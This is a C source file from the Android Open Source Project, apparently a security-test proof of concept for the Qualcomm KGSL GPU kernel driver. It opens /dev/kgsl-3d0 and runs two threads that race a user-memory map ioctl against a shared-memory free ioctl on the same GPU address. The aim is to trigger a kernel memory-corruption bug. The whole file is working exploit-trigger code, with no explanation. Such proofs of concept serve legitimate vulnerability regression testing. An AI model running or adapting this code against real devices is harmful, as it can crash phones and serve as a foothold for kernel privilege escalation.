C++程序  |  161行  |  4.19 KB

/**
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
*      http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

/* ioctls */
#define KGSL_IOC_TYPE 0x09

enum kgsl_user_mem_type {
  KGSL_USER_MEM_TYPE_PMEM = 0x00000000,
  KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,
  KGSL_USER_MEM_TYPE_ADDR = 0x00000002,
  KGSL_USER_MEM_TYPE_ION = 0x00000003,
  KGSL_USER_MEM_TYPE_MAX = 0x00000007,
};

/*
 * Unfortunately, enum kgsl_user_mem_type starts at 0 which does not
 * leave a good value for allocated memory. In the flags we use
 * 0 to indicate allocated memory and thus need to add 1 to the enum
 * values.
 */
#define KGSL_USERMEM_FLAG(x) (((x) + 1) << KGSL_MEMFLAGS_USERMEM_SHIFT)

#define KGSL_MEMFLAGS_NOT_USERMEM 0
#define KGSL_MEMFLAGS_USERMEM_PMEM KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_PMEM)
#define KGSL_MEMFLAGS_USERMEM_ASHMEM                                           \
  KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ASHMEM)
#define KGSL_MEMFLAGS_USERMEM_ADDR KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ADDR)
#define KGSL_MEMFLAGS_USERMEM_ION KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ION)

/* add a block of pmem, fb, ashmem or user allocated address
 * into the GPU address space */
struct kgsl_map_user_mem {
  int fd;
  unsigned long gpuaddr; /*output param */
  size_t len;
  size_t offset;
  unsigned long hostptr; /*input param */
  enum kgsl_user_mem_type memtype;
  unsigned int flags;
};

#define IOCTL_KGSL_MAP_USER_MEM                                                \
  _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)

/* remove memory from the GPU's address space */
struct kgsl_sharedmem_free {
  unsigned long gpuaddr;
};

#define IOCTL_KGSL_SHAREDMEM_FREE                                              \
  _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)

#define KGSL_MEMFLAGS_USERMEM_MASK 0x000000e0
#define KGSL_MEMFLAGS_USERMEM_SHIFT 5

#define TRUE 1

struct kgsl_map_user_mem allocArg;
struct kgsl_sharedmem_free freeArg;

int fd;
int thread_exit = 1;

void *alloc_thread(void*);
void *free_thread(void*);
void kgsl_poc(void);

void *alloc_thread() {
  while (thread_exit) {
    allocArg.fd = -1;
    allocArg.gpuaddr = 0x0;
    allocArg.len = 4096;
    allocArg.offset = 0;
    allocArg.hostptr = (unsigned long)malloc(allocArg.len);
    allocArg.memtype = KGSL_USER_MEM_TYPE_ADDR;
    allocArg.flags = KGSL_MEMFLAGS_USERMEM_ADDR;

    int ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &allocArg);

    if (ret < 0) {
      printf("Error on IOCTL_KGSL_MAP_USER_MEM - Errno %d (%s)\n", errno,
             strerror(errno));
      return NULL;
    } else if (!allocArg.gpuaddr) {
      allocArg.gpuaddr = allocArg.hostptr;
    }

    volatile unsigned long *pGPU = &allocArg.gpuaddr;

    while (*pGPU) {
      if (thread_exit)
        break;
    }

    free((void *)allocArg.hostptr);
  }
  return NULL;
}

void *free_thread() {
  volatile unsigned long *pGPU = &allocArg.gpuaddr;
  freeArg.gpuaddr = 0x0;

  while (!freeArg.gpuaddr) {
    freeArg.gpuaddr = *pGPU;
  }

  while (thread_exit) {
    ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &freeArg);
    *pGPU = 0x0;
  }
  return NULL;
}

void kgsl_poc() {
  pthread_t allocTid, freeTid;
  fd = open("/dev/kgsl-3d0", 0);

  if (fd < 0) {
    printf("Unable to open /dev/kgsl-3d0 - Errno %d (%s)\n", errno,
           strerror(errno));
    exit(-1);
  }

  pthread_create(&allocTid, NULL, alloc_thread, NULL);
  pthread_create(&freeTid, NULL, free_thread, NULL);
  pthread_join(allocTid, NULL);
  pthread_join(freeTid, NULL);
}
int main() {
  kgsl_poc();
  return 0;
}